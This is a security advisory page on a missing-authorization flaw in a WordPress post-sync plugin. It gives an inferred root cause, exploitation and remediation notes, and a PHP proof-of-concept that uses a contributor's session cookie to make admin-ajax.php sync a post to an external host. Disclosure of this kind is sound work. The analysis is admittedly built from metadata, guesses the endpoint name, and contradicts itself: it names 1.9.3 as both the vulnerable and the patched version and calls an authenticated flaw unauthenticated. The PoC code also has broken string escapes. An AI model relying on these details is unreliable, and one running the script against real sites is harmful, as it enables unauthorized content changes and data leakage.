Published : August 7, 2026

CVE-2026-14923: Sync Post With Other Site < 1.9.3 Missing Authorization PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 1.9.3
Patched Version
Disclosed July 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-14923 (metadata-based):
This vulnerability affects the Sync Post With Other Site WordPress plugin, versions up to and including 1.9.3. It is a Missing Authorization (CWE-862) issue, allowing authenticated attackers with contributor-level access and above to perform unauthorized actions. The CVSS score is 4.3, with a vector AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N, indicating a medium severity issue that requires an authenticated user but no user interaction.

Root Cause: The vulnerability stems from a missing capability check on a particular function, likely an AJAX handler or admin-post hook. The plugin registers an endpoint without verifying that the current user has the proper capabilities (e.g., `edit_posts`, `manage_options`) or a valid nonce. Because contributors can access authenticated AJAX hooks, they can invoke the function even though they lack the intended authorization level. This conclusion is inferred from the CWE categorization and vulnerability description because no source code diff is available. The description specifically states that a capability check is missing, confirming that the function is improperly exposed to lower-privileged users.

Exploitation: An attacker with contributor credentials can send a crafted HTTP request to the vulnerable endpoint. The likely target is `/wp-admin/admin-ajax.php` with a POST parameter `action` set to a plugin-specific hook, such as `sync_post_with_other_site_sync` or similar based on the plugin slug. The request would include the post ID and destination site URL, triggering the synchronization functionality without the plugin verifying that the user has sufficient rights. Since the missing check is the enabler, no nonce is required, although an attacker could still obtain a valid nonce from the page source if needed. The attacker crafts the request with valid credentials as an authenticated user, which WordPress processes based on cookies or nonce. The PoC demonstrates an AJAX POST using a session cookie from a previously authenticated contributor session.

Remediation: The fix must add a capability check to the vulnerable function, ensuring only users with the required role (e.g., `manage_options` for site administrators) can invoke it. The plugin should also implement a nonce check to prevent cross-site request forgery. The patched version 1.9.3 likely includes these authorization and verification steps. Additionally, the developer should audit all plugin AJAX handlers and admin-post functions to ensure consistent enforcement of authorization checks.

Impact: Exploitation allows a contributor-level user to trigger synchronization actions that should be restricted to administrators. This could result in unauthorized data manipulation, such as syncing or overwriting posts to external sites, leading to unintended content changes or data leakage. The low impact rating (I:L) suggests limited data exposure or integrity impact, but there is still a direct integrity violation because the attacker can modify the state of the site’s content through an unauthenticated action.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-14923 - Sync Post With Other Site < 1.9.3 - Missing Authorization

// This PoC demonstrates the missing authorization by sending an AJAX request
// to the vulnerable endpoint without a capability check.
// Assumptions:
// - The plugin uses an admin-ajax.php action named 'sync_post_with_other_site_sync'.
//   Adjust the action name if the plugin uses a different hook.
// - The attacker has contributor-level credentials.
// - A valid session cookie is required for authentication.

$target_url = 'http://your-wordpress-site.com/wp-admin/admin-ajax.php';
$action = 'sync_post_with_other_site_sync'; // Adjust based on plugin source if known
$post_id = 123; // ID of the post to sync

$cookie = 'wordpress_LOGGED_IN=your_cookie_value;'; // Session cookie for contributor user

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'action' => $action,
    'post_id' => $post_id,
    'sync_destination' => 'http://external-site.com/receive'
)));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/x-www-form-urlencoded',
    'Cookie: ' . $cookie
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200 && $response) {
    echo "[+] Request executed successfully. HTTP Code: $http_coden";
    echo "[+] Response body: " . $response . "n";
} else {
    echo "[-] Request failed. HTTP Code: $http_coden";
}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.